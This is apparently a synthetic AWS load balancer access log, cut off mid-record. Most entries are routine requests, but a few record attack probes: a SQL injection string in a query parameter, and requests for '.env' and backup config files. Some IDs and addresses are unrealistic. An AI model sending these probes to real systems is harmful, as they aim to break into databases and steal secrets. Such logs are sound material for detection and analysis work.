"Root=1-6723c597-f0d2c51005d444df9a5dab11" "staging-alb.example.com" "-" 0 2024-11-01T00:59:51.735756Z "forward" "-" "-" "173.117.10.2:8080" "200" "-" "-" +https 2024-11-01T00:59:53.458170Z prod-web-alb 47.20.33.203:50251 10.0.38.117:443 0.099066 0.334352 0.073684 301 301 146 10314 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c599-c7d48b54451a473eb13843c3" "prod-web-alb.example.com" "-" 8 2024-11-01T00:59:53.458170Z "forward" "-" "-" "10.0.38.117:443" "301" "-" "-" +http 2024-11-01T00:59:54.872239Z staging-alb 135.72.218.77:22755 10.122.252.103:8080 0.076353 0.354739 0.080441 302 302 240 8823 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c59a-3bb5bed5eb9044b7a4a43d4f" "staging-alb.example.com" "-" 5 2024-11-01T00:59:54.872239Z "forward" "-" "-" "10.122.252.103:8080" "302" "-" "-" +https 2024-11-01T00:59:56.007685Z prod-api-alb 75.73.92.97:13721 10.0.125.52:443 0.026859 0.381568 0.058796 200 200 329 11212 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c59c-cb8714bbf5b54f06ad50b929" "prod-api-alb.example.com" "-" 7 2024-11-01T00:59:56.007685Z "forward" "-" "-" "10.0.125.52:443" "200" "-" "-" +https 2024-11-01T00:59:56.305784Z prod-web-alb 135.51.111.187:11437 10.0.36.174:443 0.001346 0.296774 0.047548 301 301 628 236 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c59c-b065bf2da9774c7cbe5ee3c3" "prod-web-alb.example.com" "-" 9 2024-11-01T00:59:56.305784Z "forward" "-" "-" "10.0.36.174:443" "301" "-" "-" +https 2024-11-01T00:59:57.329443Z prod-web-alb 200.14.87.37:42612 10.0.114.141:443 0.064162 0.241770 0.084831 404 404 630 2488 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c59d-47e33d66c0da44aabf12acb1" "prod-web-alb.example.com" "-" 7 2024-11-01T00:59:57.329443Z "forward" "-" "-" "10.0.114.141:443" "404" "-" "-" +https 2024-11-01T00:59:58.362100Z prod-web-alb 81.223.222.19:44284 10.0.90.253:443 0.055985 0.201612 0.043742 302 302 128 969 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c59e-77d181897d98438889ead387" "prod-web-alb.example.com" "-" 9 2024-11-01T00:59:58.362100Z "forward" "-" "-" "10.0.90.253:443" "302" "-" "-" +https 2024-11-01T00:59:59.466732Z prod-web-alb 185.181.147.41:48618 10.0.97.200:443 0.006303 0.369258 0.082023 200 200 217 11971 "GET /users?id=1 OR 1=1 HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c59f-b0b7102936ca4ddb978d7845" "-" "-" 7 2024-11-01T00:59:59.466732Z "forward" "-" "-" "10.0.97.200:443" "200" "-" "-" +https 2024-11-01T01:00:00.936774Z prod-api-alb 91.251.208.206:23668 10.0.104.161:443 0.031507 0.373678 0.079759 200 200 681 12565 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5a0-132106dbecb34582aa3e1011" "prod-api-alb.example.com" "-" 5 2024-11-01T01:00:00.936774Z "forward" "-" "-" "10.0.104.161:443" "200" "-" "-" +https 2024-11-01T01:00:02.046462Z prod-api-alb 240.17.133.228:60613 10.0.179.83:443 0.035933 0.189896 0.096977 200 200 865 14421 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5a2-005aed6101cb4eaebfd55232" "prod-api-alb.example.com" "-" 8 2024-11-01T01:00:02.046462Z "forward" "-" "-" "10.0.179.83:443" "200" "-" "-" +http 2024-11-01T01:00:03.865508Z staging-alb 86.227.88.227:62205 224.191.187.221:443 0.085802 0.444697 0.036453 404 404 927 11527 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5a3-8ae1a9d296584d9b824434dc" "staging-alb.example.com" "-" 8 2024-11-01T01:00:03.865508Z "forward" "-" "-" "224.191.187.221:443" "404" "-" "-" +https 2024-11-01T01:00:04.018164Z prod-web-alb 50.143.236.223:19258 10.0.105.63:443 0.027939 0.452112 0.057743 301 301 51 14870 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5a4-ce94cf70ca0e439b9251d9f2" "prod-web-alb.example.com" "-" 2 2024-11-01T01:00:04.018164Z "forward" "-" "-" "10.0.105.63:443" "301" "-" "-" +https 2024-11-01T01:00:05.315986Z prod-web-alb 102.67.73.102:14694 10.0.255.63:443 0.030786 0.440040 0.001086 301 301 543 5849 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5a5-2d5f4afd8de6415f9797faf7" "prod-web-alb.example.com" "-" 9 2024-11-01T01:00:05.315986Z "forward" "-" "-" "10.0.255.63:443" "301" "-" "-" +http 2024-11-01T01:00:06.955733Z staging-alb 27.180.8.97:40203 32.18.141.166:80 0.111536 0.022549 0.037999 200 200 813 386 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5a6-4d4adee4efed4d70a5013ec8" "staging-alb.example.com" "-" 8 2024-11-01T01:00:06.955733Z "forward" "-" "-" "32.18.141.166:80" "200" "-" "-" +http 2024-11-01T01:00:08.708180Z staging-alb 57.128.241.200:22467 227.87.136.150:80 0.038235 0.232773 0.040420 200 200 526 1433 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5a8-c5744e2fbe0c4af791d68792" "staging-alb.example.com" "-" 9 2024-11-01T01:00:08.708180Z "forward" "-" "-" "227.87.136.150:80" "200" "-" "-" +https 2024-11-01T01:00:10.348400Z prod-api-alb 193.27.228.75:24326 10.0.77.140:443 0.049783 0.321351 0.028235 403 403 893 9125 "POST /.env HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5aa-1801f19bd7004d1881f9c559" "-" "-" 2 2024-11-01T01:00:10.348400Z "forward" "-" "-" "10.0.77.140:443" "403" "-" "-" +https 2024-11-01T01:00:12.053232Z staging-alb 74.13.25.249:38337 35.174.197.246:443 0.036192 0.491283 0.132829 200 200 35 13915 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5ac-f5926527b4b746f585fac175" "staging-alb.example.com" "-" 4 2024-11-01T01:00:12.053232Z "forward" "-" "-" "35.174.197.246:443" "200" "-" "-" +https 2024-11-01T01:00:12.370117Z prod-web-alb 16.18.158.130:24093 10.0.4.26:443 0.037396 0.067048 0.055038 200 200 634 9798 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5ac-2edac9c6c1834d1b9da66372" "prod-web-alb.example.com" "-" 7 2024-11-01T01:00:12.370117Z "forward" "-" "-" "10.0.4.26:443" "200" "-" "-" +https 2024-11-01T01:00:13.013715Z prod-api-alb 185.181.6.37:10724 10.0.71.125:443 0.031641 0.167131 0.049178 401 401 640 2341 "POST /config.php~ HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5ad-dad924fd0b20436eaea9bd84" "-" "-" 5 2024-11-01T01:00:13.013715Z "forward" "-" "-" "10.0.71.125:443" "401" "-" "-" +https 2024-11-01T01:00:13.761763Z prod-web-alb 228.51.96.0:42766 10.0.145.78:443 0.033701 0.019242 0.052794 200 200 379 11387 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5ad-4dde89a3f8814d8e846855fe" "prod-web-alb.example.com" "-" 7 2024-11-01T01:00:13.761763Z "forward" "-" "-" "10.0.145.78:443" "200" "-" "-" +https 2024-11-01T01:00:14.526498Z staging-alb 68.59.62.99:46757 170.183.240.106:80 0.108293 0.178469 0.051793 404 404 258 4972 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5ae-1e3ae1ccf8f04b6cb53372f8" "staging-alb.example.com" "-" 10 2024-11-01T01:00:14.526498Z "forward" "-" "-" "170.183.240.106:80" "404" "-" "-" +https 2024-11-01T01:00:15.341429Z prod-api-alb 162.96.100.194:36316 10.0.113.197:443 0.085696 0.077337 0.073589 200 200 300 5189 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5af-81d6844035c041edba254833" "prod-api-alb.example.com" "-" 9 2024-11-01T01:00:15.341429Z "forward" "-" "-" "10.0.113.197:443" "200" "-" "-" +https 2024-11-01T01:00:16.676363Z staging-alb 172.73.232.55:27459 80.133.234.124:80 0.014167 0.037743 0.116776 200 200 256 7522 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5b0-f89e504ce74749b1897fb1d3" "-" "-" 8 2024-11-01T01:00:16.676363Z "forward" "-" "-" "80.133.234.124:80" "200" "-" "-" +https 2024-11-01T01:00:17.350184Z prod-web-alb 169.169.29.100:30434 10.0.175.220:443 0.008372 0.370847 0.015817 200 200 514 451 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5b1-19fc2b5458f94a4386fad1f6" "prod-web-alb.example.com" "-" 4 2024-11-01T01:00:17.350184Z "forward" "-" "-" "10.0.175.220:443" "200" "-" "-" +https 2024-11-01T01:00:17.742029Z prod-api-alb 207.176.57.134:14860 10.0.210.140:443 0.030779 0.210567 0.065009 301 301 6 14918 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5b1-bc718685d97e4db48ec1cdca" "prod-api-alb.example.com" "-" 7 2024-11-01T01:00:17.742029Z "forward" "-" "-" "10.0.210.140:443" "301" "-" "-" +https 2024-11-01T01:00:19.252561Z prod-web-alb 115.155.248.65:12971 10.0.34.71:443 0.006187 0.239112 0.000982 200 200 320 9243 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5b3-6578e72b40b54e169b4c50f7" "prod-web-alb.example.com" "-" 10 2024-11-01T01:00:19.252561Z "forward" "-" "-" "10.0.34.71:443" "200" "-" "-" +https 2024-11-01T01:00:21.073083Z prod-web-alb 36.79.101.73:51599 10.0.4.242:443 0.077042 0.232314 0.041336 200 200 76 8430 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5b5-4b9620639cf241e8895390b3" "prod-web-alb.example.com" "-" 1 2024-11-01T01:00:21.073083Z "forward" "-" "-" "10.0.4.242:443" "200" "-" "-" +https 2024-11-01T01:00:22.335440Z prod-web-alb 142.22.115.69:22522 10.0.116.9:443 0.030001 0.439829 0.094919 200 200 837 7609 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5b6-1b5007dbf154422a91d51f2f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:00:22.335440Z "forward" "-" "-" "10.0.116.9:443" "200" "-" "-" +https 2024-11-01T01:00:23.732889Z staging-alb 86.156.0.28:29254 74.66.191.71:443 0.097356 0.727512 0.132710 301 301 364 6562 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5b7-1672047628e84df4993c7bad" "staging-alb.example.com" "-" 5 2024-11-01T01:00:23.732889Z "forward" "-" "-" "74.66.191.71:443" "301" "-" "-" +https 2024-11-01T01:00:24.075022Z prod-api-alb 186.131.81.204:44916 10.0.147.15:443 0.026145 0.010217 0.071918 200 200 939 14343 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5b8-dcd679cd4547485499cabe91" "prod-api-alb.example.com" "-" 4 2024-11-01T01:00:24.075022Z "forward" "-" "-" "10.0.147.15:443" "200" "-" "-" +https 2024-11-01T01:00:24.908159Z staging-alb 39.103.194.201:22691 236.228.137.49:8080 0.096291 0.263001 0.072795 301 301 916 8356 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c5b8-7d9d676ddb4a480aa338eb07" "staging-alb.example.com" "-" 2 2024-11-01T01:00:24.908159Z "forward" "-" "-" "236.228.137.49:8080" "301" "-" "-" +https 2024-11-01T01:00:26.062601Z prod-api-alb 52.48.90.207:57611 10.0.27.84:443 0.067628 0.166858 0.039208 404 404 777 3982 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5ba-1c6a08098ac149e683be13e9" "prod-api-alb.example.com" "-" 4 2024-11-01T01:00:26.062601Z "forward" "-" "-" "10.0.27.84:443" "404" "-" "-" +https 2024-11-01T01:00:27.455511Z prod-web-alb 232.70.25.13:51997 10.0.157.128:443 0.093652 0.305433 0.089359 302 302 177 5468 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5bb-5068854940d54df5a19234e4" "prod-web-alb.example.com" "-" 4 2024-11-01T01:00:27.455511Z "forward" "-" "-" "10.0.157.128:443" "302" "-" "-" +https 2024-11-01T01:00:28.970337Z staging-alb 85.41.184.27:53811 46.48.0.109:443 0.015099 0.369280 0.126151 200 200 493 12958 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5bc-b4cbe9d90d3948f0a60ac266" "staging-alb.example.com" "-" 2 2024-11-01T01:00:28.970337Z "forward" "-" "-" "46.48.0.109:443" "200" "-" "-" +https 2024-11-01T01:00:30.112408Z prod-api-alb 92.22.111.157:15430 10.0.254.251:443 0.092786 0.040062 0.020206 404 404 312 12579 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5be-01d00afeb9724b03b60d0599" "prod-api-alb.example.com" "-" 1 2024-11-01T01:00:30.112408Z "forward" "-" "-" "10.0.254.251:443" "404" "-" "-" +https 2024-11-01T01:00:32.007990Z prod-api-alb 135.142.215.68:35352 10.0.100.225:443 0.008822 0.121745 0.092794 404 404 307 7749 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5c0-6700d7f8d20043a392b300bf" "prod-api-alb.example.com" "-" 6 2024-11-01T01:00:32.007990Z "forward" "-" "-" "10.0.100.225:443" "404" "-" "-" +https 2024-11-01T01:00:33.347787Z staging-alb 33.73.144.12:10444 76.132.216.30:80 0.104857 0.733224 0.069558 301 301 851 10875 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5c1-3d625d545dbe4d2d92de4416" "staging-alb.example.com" "-" 9 2024-11-01T01:00:33.347787Z "forward" "-" "-" "76.132.216.30:80" "301" "-" "-" +https 2024-11-01T01:00:33.936114Z prod-api-alb 188.252.1.5:23929 10.0.253.144:443 0.096312 0.146179 0.048437 200 200 329 7882 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5c1-2ba1730abd19464cac2252a4" "prod-api-alb.example.com" "-" 2 2024-11-01T01:00:33.936114Z "forward" "-" "-" "10.0.253.144:443" "200" "-" "-" +https 2024-11-01T01:00:35.328352Z prod-api-alb 238.43.173.231:58916 10.0.209.229:443 0.037833 0.458673 0.093110 404 404 719 3917 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5c3-916f184805074685b1c7f79a" "prod-api-alb.example.com" "-" 0 2024-11-01T01:00:35.328352Z "forward" "-" "-" "10.0.209.229:443" "404" "-" "-" +https 2024-11-01T01:00:36.847716Z prod-web-alb 90.61.96.15:30408 10.0.193.62:443 0.046600 0.296513 0.096800 302 302 15 8967 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5c4-65bc8480457346839ba17bc0" "prod-web-alb.example.com" "-" 10 2024-11-01T01:00:36.847716Z "forward" "-" "-" "10.0.193.62:443" "302" "-" "-" +https 2024-11-01T01:00:37.950083Z prod-api-alb 202.201.11.137:64346 10.0.22.114:443 0.061900 0.130235 0.017353 301 301 337 6485 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5c5-54e7b04c3b62448c8194363c" "prod-api-alb.example.com" "-" 10 2024-11-01T01:00:37.950083Z "forward" "-" "-" "10.0.22.114:443" "301" "-" "-" +https 2024-11-01T01:00:38.692722Z prod-api-alb 247.73.74.63:26755 10.0.70.128:443 0.043620 0.324602 0.033675 200 200 457 9168 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5c6-1d874ba373d7427e8a6c8ed9" "prod-api-alb.example.com" "-" 1 2024-11-01T01:00:38.692722Z "forward" "-" "-" "10.0.70.128:443" "200" "-" "-" +https 2024-11-01T01:00:39.041010Z prod-web-alb 201.10.189.247:59574 10.0.244.253:443 0.036424 0.384747 0.039190 301 301 15 11423 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5c7-df2e6c14da62478092604119" "prod-web-alb.example.com" "-" 7 2024-11-01T01:00:39.041010Z "forward" "-" "-" "10.0.244.253:443" "301" "-" "-" +http 2024-11-01T01:00:39.981227Z staging-alb 26.201.32.202:60192 130.146.168.61:443 0.027724 0.299846 0.059755 200 200 891 4909 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c5c7-9e2bce087969499e9de3573a" "staging-alb.example.com" "-" 2 2024-11-01T01:00:39.981227Z "forward" "-" "-" "130.146.168.61:443" "200" "-" "-" +https 2024-11-01T01:00:40.740376Z prod-web-alb 185.46.67.0:18921 10.0.63.240:443 0.064403 0.012563 0.074662 200 200 774 4106 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5c8-b3bf7640273d42ac95d66cff" "prod-web-alb.example.com" "-" 5 2024-11-01T01:00:40.740376Z "forward" "-" "-" "10.0.63.240:443" "200" "-" "-" +https 2024-11-01T01:00:41.464381Z prod-api-alb 139.240.171.121:19984 10.0.159.163:443 0.095860 0.467285 0.048837 404 404 193 7891 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c5c9-f01ab6c5410940bb9564f1ec" "prod-api-alb.example.com" "-" 7 2024-11-01T01:00:41.464381Z "forward" "-" "-" "10.0.159.163:443" "404" "-" "-" +https 2024-11-01T01:00:42.933081Z prod-web-alb 193.27.228.161:13826 10.0.180.173:443 0.058685 0.429871 0.037857 401 401 733 12956 "POST /admin HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5ca-a8dd67164c5349f38b959b00" "-" "-" 3 2024-11-01T01:00:42.933081Z "forward" "-" "-" "10.0.180.173:443" "401" "-" "-" +https 2024-11-01T01:00:43.723632Z prod-api-alb 97.171.66.131:51031 10.0.188.20:443 0.005504 0.470934 0.065809 200 200 170 4042 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c5cb-4427cc9529b44d6abe9cc8aa" "prod-api-alb.example.com" "-" 1 2024-11-01T01:00:43.723632Z "forward" "-" "-" "10.0.188.20:443" "200" "-" "-" +https 2024-11-01T01:00:43.830384Z prod-web-alb 116.8.224.1:19853 10.0.174.229:443 0.086568 0.180406 0.036170 301 301 809 5881 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c5cb-4af0708eb1d142a78f46408a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:00:43.830384Z "forward" "-" "-" "10.0.174.229:443" "301" "-" "-" +https 2024-11-01T01:00:45.545609Z prod-web-alb 127.200.250.44:11161 10.0.238.100:443 0.054736 0.378230 0.025218 404 404 58 1210 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c5cd-17532e03c641464c959c0e60" "-" "-" 10 2024-11-01T01:00:45.545609Z "forward" "-" "-" "10.0.238.100:443" "404" "-" "-" +http 2024-11-01T01:00:47.482754Z staging-alb 59.137.1.73:30362 181.40.54.157:443 0.080632 0.658339 0.017889 200 200 569 5739 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 